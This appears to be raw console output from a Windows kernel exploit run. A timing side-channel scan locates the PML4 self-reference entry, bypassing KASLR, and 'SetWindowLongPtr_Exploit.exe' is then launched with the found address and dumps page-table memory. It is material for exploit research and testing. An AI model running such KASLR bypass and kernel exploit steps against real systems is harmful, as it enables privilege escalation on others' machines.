Removing 104 from initial array and pushing it into final array Potential SelfRef: FFFF82C160B05828 +] PTE FFFF82810719CE80 looks mapped! - Time: 216.981003 Time difference exceed for ffff8341a0d06830, retrying... Potential SelfRef: FFFF8341A0D06830 +] PTE FFFF83010719CE80 looks mapped! - Time: 201.957657 +] PTE FFFF83010719CF00 looks mapped! - Time: 202.023697 +] PTE FFFF83010719CF80 looks mapped! - Time: 212.651016 +] PTE FFFF83010719D000 looks mapped! - Time: 214.013504 +] PTE FFFF83010719D080 looks mapped! - Time: 191.688126 +] PTE FFFF830804020100 looks mapped! - Time: 193.314758 +] Removing 106 from initial array and pushing it into final array Potential SelfRef: FFFF83C1E0F07838 +] PTE FFFF83810719CE80 looks mapped! - Time: 195.506973 +] PTE FFFF83810719CF00 looks mapped! - Time: 193.697693 +] PTE FFFF83810719CF80 looks mapped! - Time: 208.809097 +] PTE FFFF83810719D000 looks mapped! - Time: 216.298660 +] PTE FFFF83810719D080 looks mapped! - Time: 203.848816 +] PTE FFFF838804020100 looks mapped! - Time: 204.008743 +] Removing 107 from initial array and pushing it into final array Time difference exceed for ffff89c4e2713898, retrying... Time difference exceed for ffff8bc5e2f178b8, retrying... Time difference exceed for ffff8c46231188c0, retrying... Unmapped Initial: 248.508636 Mapped Initial: 207.139847 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 236.360733 Mapped: 195.650040 -------------------------- Potential SelfRef: FFFF8140A0502810 +] PTE FFFF81010719CE80 looks mapped! - Time: 197.312363 Potential SelfRef: FFFF81C0E0703818 Time difference exceed for ffff81810719ce80, retrying... Time difference exceed for ffff81810719ce80, retrying... Time difference exceed for ffff81810719ce80, retrying... Time difference exceed for ffff81810719ce80, retrying... +] PTE FFFF81810719CE80 looks mapped! - Time: 209.812393 Time difference exceed for ffff81810719cf00, retrying... +] PTE FFFF81810719CF00 looks mapped! - Time: 207.951645 +] PTE FFFF81810719CF80 looks mapped! - Time: 200.001724 +] PTE FFFF81810719D000 looks mapped! - Time: 197.655167 +] PTE FFFF81810719D080 looks mapped! - Time: 201.667160 +] PTE FFFF818804020100 looks mapped! - Time: 195.728439 PML4e: FFFF8140A0502810 - Index: 102 PML4e: FFFF81C0E0703818 - Index: 103 PML4e: FFFF824120904820 - Index: 104 PML4e: FFFF8341A0D06830 - Index: 106 PML4e: FFFF83C1E0F07838 - Index: 107 KNOWN_UNMAPPED PTE: ffff818000000000 -] Erasing 103 from final array Potential SelfRef: FFFF824120904820 +] PTE FFFF82010719CE80 looks mapped! - Time: 206.883759 +] PTE FFFF82010719CF00 looks mapped! - Time: 208.451019 +] PTE FFFF82010719CF80 looks mapped! - Time: 201.073364 +] PTE FFFF82010719D000 looks mapped! - Time: 203.052826 +] PTE FFFF82010719D080 looks mapped! - Time: 194.115143 +] PTE FFFF820804020100 looks mapped! - Time: 198.158585 PML4e: FFFF8140A0502810 - Index: 102 PML4e: FFFF824120904820 - Index: 104 PML4e: FFFF8341A0D06830 - Index: 106 PML4e: FFFF83C1E0F07838 - Index: 107 KNOWN_UNMAPPED PTE: ffff820000000000 -] Erasing 104 from final array Potential SelfRef: FFFF8341A0D06830 +] PTE FFFF83010719CE80 looks mapped! - Time: 200.405823 +] PTE FFFF83010719CF00 looks mapped! - Time: 201.572525 +] PTE FFFF83010719CF80 looks mapped! - Time: 193.538040 +] PTE FFFF83010719D000 looks mapped! - Time: 196.066254 +] PTE FFFF83010719D080 looks mapped! - Time: 189.007034 +] PTE FFFF830804020100 looks mapped! - Time: 197.613953 PML4e: FFFF8140A0502810 - Index: 102 PML4e: FFFF8341A0D06830 - Index: 106 PML4e: FFFF83C1E0F07838 - Index: 107 KNOWN_UNMAPPED PTE: ffff830000000000 -] Erasing 106 from final array Potential SelfRef: FFFF83C1E0F07838 +] PTE FFFF83810719CE80 looks mapped! - Time: 200.655380 Time difference exceed for ffff83810719cf00, retrying... Time difference exceed for ffff83810719cf00, retrying... Unmapped Initial: 232.123840 Mapped Initial: 196.420654 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 234.845581 Mapped: 187.862518 -------------------------- Potential SelfRef: FFFF8140A0502810 +] PTE FFFF81010719CE80 looks mapped! - Time: 197.432938 +] PTE FFFF81010719CF00 looks mapped! - Time: 191.731766 Time difference exceed for ffff81010719cf80, retrying... Time difference exceed for ffff81010719cf80, retrying... Time difference exceed for ffff81010719cf80, retrying... +] PTE FFFF81010719CF80 looks mapped! - Time: 201.003784 +] PTE FFFF81010719D000 looks mapped! - Time: 194.332733 +] PTE FFFF81010719D080 looks mapped! - Time: 200.211182 +] PTE FFFF810804020100 looks mapped! - Time: 199.812225 PML4e: FFFF8140A0502810 - Index: 102 PML4e: FFFF83C1E0F07838 - Index: 107 KNOWN_UNMAPPED PTE: ffff810000000000 Time difference exceed for ffff810000000000, retrying... -] Erasing 102 from final array Time difference exceed for ffff83c1e0f07838, retrying... Potential SelfRef: FFFF83C1E0F07838 Time difference exceed for ffff83810719ce80, retrying... Time difference exceed for ffff83810719ce80, retrying... Unmapped Initial: 230.247162 Mapped Initial: 198.023987 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 235.923035 Mapped: 191.605301 -------------------------- Time difference exceed for ffff83c1e0f07838, retrying... Time difference exceed for ffff83c1e0f07838, retrying... Potential SelfRef: FFFF83C1E0F07838 Time difference exceed for ffff83810719ce80, retrying... Time difference exceed for ffff83810719ce80, retrying... Time difference exceed for ffff83810719ce80, retrying... Time difference exceed for ffff83810719ce80, retrying... Time difference exceed for ffff83810719ce80, retrying... Unmapped Initial: 258.041046 Mapped Initial: 210.309753 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 238.757538 Mapped: 203.896240 -------------------------- Potential SelfRef: FFFF83C1E0F07838 +] PTE FFFF83810719CE80 looks mapped! - Time: 210.036102 +] PTE FFFF83810719CF00 looks mapped! - Time: 199.200836 +] PTE FFFF83810719CF80 looks mapped! - Time: 204.575333 +] PTE FFFF83810719D000 looks mapped! - Time: 197.218445 +] PTE FFFF83810719D080 looks mapped! - Time: 203.334763 +] PTE FFFF838804020100 looks mapped! - Time: 203.243607 PML4e: FFFF83C1E0F07838 - Index: 107 KNOWN_UNMAPPED PTE: ffff838000000000 -] Erasing 107 from final array Potential SelfRef: FFFF82C160B05828 +] PTE FFFF82810719CE80 looks mapped! - Time: 201.889221 +] PTE FFFF82810719CF00 looks mapped! - Time: 201.679138 +] PTE FFFF82810719CF80 looks mapped! - Time: 204.281006 +] PTE FFFF82810719D000 looks mapped! - Time: 209.909943 +] PTE FFFF82810719D080 looks mapped! - Time: 202.795639 +] PTE FFFF828804020100 looks mapped! - Time: 196.754044 +] Removing 105 from initial array and pushing it into final array Time difference exceed for ffff884422110880, retrying... Time difference exceed for ffff884422110880, retrying... Time difference exceed for ffff8ec763b1d8e8, retrying... Time difference exceed for ffff8ec763b1d8e8, retrying... Time difference exceed for ffff8ec763b1d8e8, retrying... Time difference exceed for ffff8ec763b1d8e8, retrying... Time difference exceed for ffff90c864321908, retrying... Unmapped Initial: 257.754272 Mapped Initial: 207.903702 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 247.145935 Mapped: 207.792923 -------------------------- Potential SelfRef: FFFF82C160B05828 +] PTE FFFF82810719CE80 looks mapped! - Time: 208.554092 +] PTE FFFF82810719CF00 looks mapped! - Time: 206.517715 +] PTE FFFF82810719CF80 looks mapped! - Time: 216.576614 +] PTE FFFF82810719D000 looks mapped! - Time: 213.698837 +] PTE FFFF82810719D080 looks mapped! - Time: 210.162796 +] PTE FFFF828804020100 looks mapped! - Time: 208.765045 PML4e: FFFF82C160B05828 - Index: 105 KNOWN_UNMAPPED PTE: ffff828000000000 -] Erasing 105 from final array -] Removing 100 as it seems to be unmapped -] Removing 101 as it seems to be unmapped -] Removing 108 as it seems to be unmapped -] Removing 109 as it seems to be unmapped -] Removing 10a as it seems to be unmapped -] Removing 10b as it seems to be unmapped -] Removing 10c as it seems to be unmapped -] Removing 10d as it seems to be unmapped Time difference exceed for ffff8743a1d0e870, retrying... -] Removing 10e as it seems to be unmapped -] Removing 10f as it seems to be unmapped -] Removing 110 as it seems to be unmapped Time difference exceed for ffff88c462311888, retrying... -] Removing 111 as it seems to be unmapped -] Removing 112 as it seems to be unmapped -] Removing 113 as it seems to be unmapped Time difference exceed for ffff8a45229148a0, retrying... -] Removing 114 as it seems to be unmapped -] Removing 115 as it seems to be unmapped -] Removing 116 as it seems to be unmapped -] Removing 117 as it seems to be unmapped Time difference exceed for ffffbc5e2f178bc0, retrying... Time difference exceed for ffffbc5e2f178bc0, retrying... Time difference exceed for ffffe8f47a3d1e88, retrying... Potential SelfRef: FFFFF67B3D9ECF60 +] PTE FFFFF6010719CE80 looks mapped! - Time: 201.963379 +] PTE FFFFF6010719CF00 looks mapped! - Time: 212.917694 +] PTE FFFFF6010719CF80 looks mapped! - Time: 207.448502 +] PTE FFFFF6010719D000 looks mapped! - Time: 203.673920 +] PTE FFFFF6010719D080 looks mapped! - Time: 206.782059 +] PTE FFFFF60804020100 looks mapped! - Time: 211.636246 +] Removing 1ec from initial array and pushing it into final array Unmapped Initial: 233.678802 Mapped Initial: 214.496124 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 250.585373 Mapped: 213.339661 -------------------------- Potential SelfRef: FFFFF67B3D9ECF60 +] PTE FFFFF6010719CE80 looks mapped! - Time: 201.419174 +] PTE FFFFF6010719CF00 looks mapped! - Time: 199.196457 +] PTE FFFFF6010719CF80 looks mapped! - Time: 210.779861 +] PTE FFFFF6010719D000 looks mapped! - Time: 199.642334 +] PTE FFFFF6010719D080 looks mapped! - Time: 200.348160 +] PTE FFFFF60804020100 looks mapped! - Time: 204.036926 PML4e: FFFFF67B3D9ECF60 - Index: 1ec KNOWN_UNMAPPED PTE: fffff60000000000 Real PML4 SelfRef Found: fffff67b3d9ecf60 Left in Potential Array: ffff8c46231188c0 Left in Potential Array: ffff8cc6633198c8 Left in Potential Array: ffff8d46a351a8d0 Left in Potential Array: ffff8dc6e371b8d8 Left in Potential Array: ffff8e472391c8e0 Left in Potential Array: ffff8ec763b1d8e8 Left in Potential Array: ffff8f47a3d1e8f0 Left in Potential Array: ffff8fc7e3f1f8f8 Left in Potential Array: ffff904824120900 Left in Potential Array: ffff90c864321908 Left in Potential Array: ffff9148a4522910 Left in Potential Array: ffff91c8e4723918 Left in Potential Array: ffff924924924920 Left in Potential Array: ffff92c964b25928 Left in Potential Array: ffff9349a4d26930 Left in Potential Array: ffff93c9e4f27938 Left in Potential Array: ffff944a25128940 Left in Potential Array: ffff94ca65329948 Left in Potential Array: ffff954aa552a950 Left in Potential Array: ffff95cae572b958 Left in Potential Array: ffff964b2592c960 Left in Potential Array: ffff96cb65b2d968 Left in Potential Array: ffff974ba5d2e970 Left in Potential Array: ffff97cbe5f2f978 Left in Potential Array: ffff984c26130980 Left in Potential Array: ffff98cc66331988 Left in Potential Array: ffff994ca6532990 Left in Potential Array: ffff99cce6733998 Left in Potential Array: ffff9a4d269349a0 Left in Potential Array: ffff9acd66b359a8 Left in Potential Array: ffff9b4da6d369b0 Left in Potential Array: ffff9bcde6f379b8 Left in Potential Array: ffff9c4e271389c0 Left in Potential Array: ffff9cce673399c8 Left in Potential Array: ffff9d4ea753a9d0 Left in Potential Array: ffff9dcee773b9d8 Left in Potential Array: ffff9e4f2793c9e0 Left in Potential Array: ffff9ecf67b3d9e8 Left in Potential Array: ffff9f4fa7d3e9f0 Left in Potential Array: ffff9fcfe7f3f9f8 Left in Potential Array: ffffa05028140a00 Left in Potential Array: ffffa0d068341a08 Left in Potential Array: ffffa150a8542a10 Left in Potential Array: ffffa1d0e8743a18 Left in Potential Array: ffffa25128944a20 Left in Potential Array: ffffa2d168b45a28 Left in Potential Array: ffffa351a8d46a30 Left in Potential Array: ffffa3d1e8f47a38 Left in Potential Array: ffffa45229148a40 Left in Potential Array: ffffa4d269349a48 Left in Potential Array: ffffa552a954aa50 Left in Potential Array: ffffa5d2e974ba58 Left in Potential Array: ffffa6532994ca60 Left in Potential Array: ffffa6d369b4da68 Left in Potential Array: ffffa753a9d4ea70 Left in Potential Array: ffffa7d3e9f4fa78 Left in Potential Array: ffffa8542a150a80 Left in Potential Array: ffffa8d46a351a88 Left in Potential Array: ffffa954aa552a90 Left in Potential Array: ffffa9d4ea753a98 Left in Potential Array: ffffaa552a954aa0 Left in Potential Array: ffffaad56ab55aa8 Left in Potential Array: ffffab55aad56ab0 Left in Potential Array: ffffabd5eaf57ab8 Left in Potential Array: ffffac562b158ac0 Left in Potential Array: ffffacd66b359ac8 Left in Potential Array: ffffad56ab55aad0 Left in Potential Array: ffffadd6eb75bad8 Left in Potential Array: ffffae572b95cae0 Left in Potential Array: ffffaed76bb5dae8 Left in Potential Array: ffffaf57abd5eaf0 Left in Potential Array: ffffafd7ebf5faf8 Left in Potential Array: ffffb0582c160b00 Left in Potential Array: ffffb0d86c361b08 Left in Potential Array: ffffb158ac562b10 Left in Potential Array: ffffb1d8ec763b18 Left in Potential Array: ffffb2592c964b20 Left in Potential Array: ffffb2d96cb65b28 Left in Potential Array: ffffb359acd66b30 Left in Potential Array: ffffb3d9ecf67b38 Left in Potential Array: ffffb45a2d168b40 Left in Potential Array: ffffb4da6d369b48 Left in Potential Array: ffffb55aad56ab50 Left in Potential Array: ffffb5daed76bb58 Left in Potential Array: ffffb65b2d96cb60 Left in Potential Array: ffffb6db6db6db68 Left in Potential Array: ffffb75badd6eb70 Left in Potential Array: ffffb7dbedf6fb78 Left in Potential Array: ffffb85c2e170b80 Left in Potential Array: ffffb8dc6e371b88 Left in Potential Array: ffffb95cae572b90 Left in Potential Array: ffffb9dcee773b98 Left in Potential Array: ffffba5d2e974ba0 Left in Potential Array: ffffbadd6eb75ba8 Left in Potential Array: ffffbb5daed76bb0 Left in Potential Array: ffffbbddeef77bb8 Left in Potential Array: ffffbc5e2f178bc0 Left in Potential Array: ffffbcde6f379bc8 Left in Potential Array: ffffbd5eaf57abd0 Left in Potential Array: ffffbddeef77bbd8 Left in Potential Array: ffffbe5f2f97cbe0 Left in Potential Array: ffffbedf6fb7dbe8 Left in Potential Array: ffffbf5fafd7ebf0 Left in Potential Array: ffffbfdfeff7fbf8 Left in Potential Array: ffffc06030180c00 Left in Potential Array: ffffc0e070381c08 Left in Potential Array: ffffc160b0582c10 Left in Potential Array: ffffc1e0f0783c18 Left in Potential Array: ffffc26130984c20 Left in Potential Array: ffffc2e170b85c28 Left in Potential Array: ffffc361b0d86c30 Left in Potential Array: ffffc3e1f0f87c38 Left in Potential Array: ffffc46231188c40 Left in Potential Array: ffffc4e271389c48 Left in Potential Array: ffffc562b158ac50 Left in Potential Array: ffffc5e2f178bc58 Left in Potential Array: ffffc6633198cc60 Left in Potential Array: ffffc6e371b8dc68 Left in Potential Array: ffffc763b1d8ec70 Left in Potential Array: ffffc7e3f1f8fc78 Left in Potential Array: ffffc86432190c80 Left in Potential Array: ffffc8e472391c88 Left in Potential Array: ffffc964b2592c90 Left in Potential Array: ffffc9e4f2793c98 Left in Potential Array: ffffca6532994ca0 Left in Potential Array: ffffcae572b95ca8 Left in Potential Array: ffffcb65b2d96cb0 Left in Potential Array: ffffcbe5f2f97cb8 Left in Potential Array: ffffcc6633198cc0 Left in Potential Array: ffffcce673399cc8 Left in Potential Array: ffffcd66b359acd0 Left in Potential Array: ffffcde6f379bcd8 Left in Potential Array: ffffce673399cce0 Left in Potential Array: ffffcee773b9dce8 Left in Potential Array: ffffcf67b3d9ecf0 Left in Potential Array: ffffcfe7f3f9fcf8 Left in Potential Array: ffffd068341a0d00 Left in Potential Array: ffffd0e8743a1d08 Left in Potential Array: ffffd168b45a2d10 Left in Potential Array: ffffd1e8f47a3d18 Left in Potential Array: ffffd269349a4d20 Left in Potential Array: ffffd2e974ba5d28 Left in Potential Array: ffffd369b4da6d30 Left in Potential Array: ffffd3e9f4fa7d38 Left in Potential Array: ffffd46a351a8d40 Left in Potential Array: ffffd4ea753a9d48 Left in Potential Array: ffffd56ab55aad50 Left in Potential Array: ffffd5eaf57abd58 Left in Potential Array: ffffd66b359acd60 Left in Potential Array: ffffd6eb75badd68 Left in Potential Array: ffffd76bb5daed70 Left in Potential Array: ffffd7ebf5fafd78 Left in Potential Array: ffffd86c361b0d80 Left in Potential Array: ffffd8ec763b1d88 Left in Potential Array: ffffd96cb65b2d90 Left in Potential Array: ffffd9ecf67b3d98 Left in Potential Array: ffffda6d369b4da0 Left in Potential Array: ffffdaed76bb5da8 Left in Potential Array: ffffdb6db6db6db0 Left in Potential Array: ffffdbedf6fb7db8 Left in Potential Array: ffffdc6e371b8dc0 Left in Potential Array: ffffdcee773b9dc8 Left in Potential Array: ffffdd6eb75badd0 Left in Potential Array: ffffddeef77bbdd8 Left in Potential Array: ffffde6f379bcde0 Left in Potential Array: ffffdeef77bbdde8 Left in Potential Array: ffffdf6fb7dbedf0 Left in Potential Array: ffffdfeff7fbfdf8 Left in Potential Array: ffffe070381c0e00 Left in Potential Array: ffffe0f0783c1e08 Left in Potential Array: ffffe170b85c2e10 Left in Potential Array: ffffe1f0f87c3e18 Left in Potential Array: ffffe271389c4e20 Left in Potential Array: ffffe2f178bc5e28 Left in Potential Array: ffffe371b8dc6e30 Left in Potential Array: ffffe3f1f8fc7e38 Left in Potential Array: ffffe472391c8e40 Left in Potential Array: ffffe4f2793c9e48 Left in Potential Array: ffffe572b95cae50 Left in Potential Array: ffffe5f2f97cbe58 Left in Potential Array: ffffe673399cce60 Left in Potential Array: ffffe6f379bcde68 Left in Potential Array: ffffe773b9dcee70 Left in Potential Array: ffffe7f3f9fcfe78 Left in Potential Array: ffffe8743a1d0e80 Left in Potential Array: ffffe8f47a3d1e88 Left in Potential Array: ffffe974ba5d2e90 Left in Potential Array: ffffe9f4fa7d3e98 Left in Potential Array: ffffea753a9d4ea0 Left in Potential Array: ffffeaf57abd5ea8 Left in Potential Array: ffffeb75badd6eb0 Left in Potential Array: ffffebf5fafd7eb8 Left in Potential Array: ffffec763b1d8ec0 Left in Potential Array: ffffecf67b3d9ec8 Left in Potential Array: ffffed76bb5daed0 Left in Potential Array: ffffedf6fb7dbed8 Left in Potential Array: ffffee773b9dcee0 Left in Potential Array: ffffeef77bbddee8 Left in Potential Array: ffffef77bbddeef0 Left in Potential Array: ffffeff7fbfdfef8 Left in Potential Array: fffff0783c1e0f00 Left in Potential Array: fffff0f87c3e1f08 Left in Potential Array: fffff178bc5e2f10 Left in Potential Array: fffff1f8fc7e3f18 Left in Potential Array: fffff2793c9e4f20 Left in Potential Array: fffff2f97cbe5f28 Left in Potential Array: fffff379bcde6f30 Left in Potential Array: fffff3f9fcfe7f38 Left in Potential Array: fffff47a3d1e8f40 Left in Potential Array: fffff4fa7d3e9f48 Left in Potential Array: fffff57abd5eaf50 Left in Potential Array: fffff5fafd7ebf58 Left in Potential Array: fffff6fb7dbedf68 Left in Potential Array: fffff77bbddeef70 Left in Potential Array: fffff7fbfdfeff78 Left in Potential Array: fffff87c3e1f0f80 Left in Potential Array: fffff8fc7e3f1f88 Left in Potential Array: fffff97cbe5f2f90 Left in Potential Array: fffff9fcfe7f3f98 Left in Potential Array: fffffa7d3e9f4fa0 Left in Potential Array: fffffafd7ebf5fa8 Left in Potential Array: fffffb7dbedf6fb0 Left in Potential Array: fffffbfdfeff7fb8 Left in Potential Array: fffffc7e3f1f8fc0 Left in Potential Array: fffffcfe7f3f9fc8 Left in Potential Array: fffffd7ebf5fafd0 Left in Potential Array: fffffdfeff7fbfd8 Left in Potential Array: fffffe7f3f9fcfe0 Left in Potential Array: fffffeff7fbfdfe8 Left in Potential Array: ffffff7fbfdfeff0 Left in Potential Array: fffffffffffffff8 Left in Final Array: fffff67b3d9ecf60 Result: fffff67b3d9ecf60 Run SetWindowLongPtr_Exploit.exe C:\Users\qa\Desktop>SetWindowLongPtr_Exploit.exe fffff67b3d9ecf60 My PID is: 6056 Current Username: qa PML4 Self Ref: FFFFF67B3D9ECF60 Enter to continue... Value Self Ref = 8000000100211867 000000003D9EC000 | 67 a8 e2 61 00 00 c0 02 67 d8 d8 6b 00 00 d0 00 | g..a....g..k.... 000000003D9EC010 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC020 | 67 68 81 08 01 00 90 01 00 00 00 00 00 00 00 00 | gh.............. 000000003D9EC030 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC040 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC050 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC060 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC080 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC090 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC0F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC100 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC110 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC120 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC130 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC140 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC150 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC160 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC170 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC180 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC190 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC1F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC200 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC210 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC220 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC230 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC240 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC250 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC260 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC270 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC280 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC290 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC2F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC300 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC310 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC320 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC330 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC340 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC350 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC360 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC370 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC380 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC390 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC3F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC400 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC410 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC420 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC430 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC440 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC450 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC460 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC470 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC480 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC490 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4E0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC4F0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC500 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC510 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC520 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC530 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC540 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC550 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC560 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC570 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC580 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC590 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC5A0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC5B0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000003D9EC5C0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 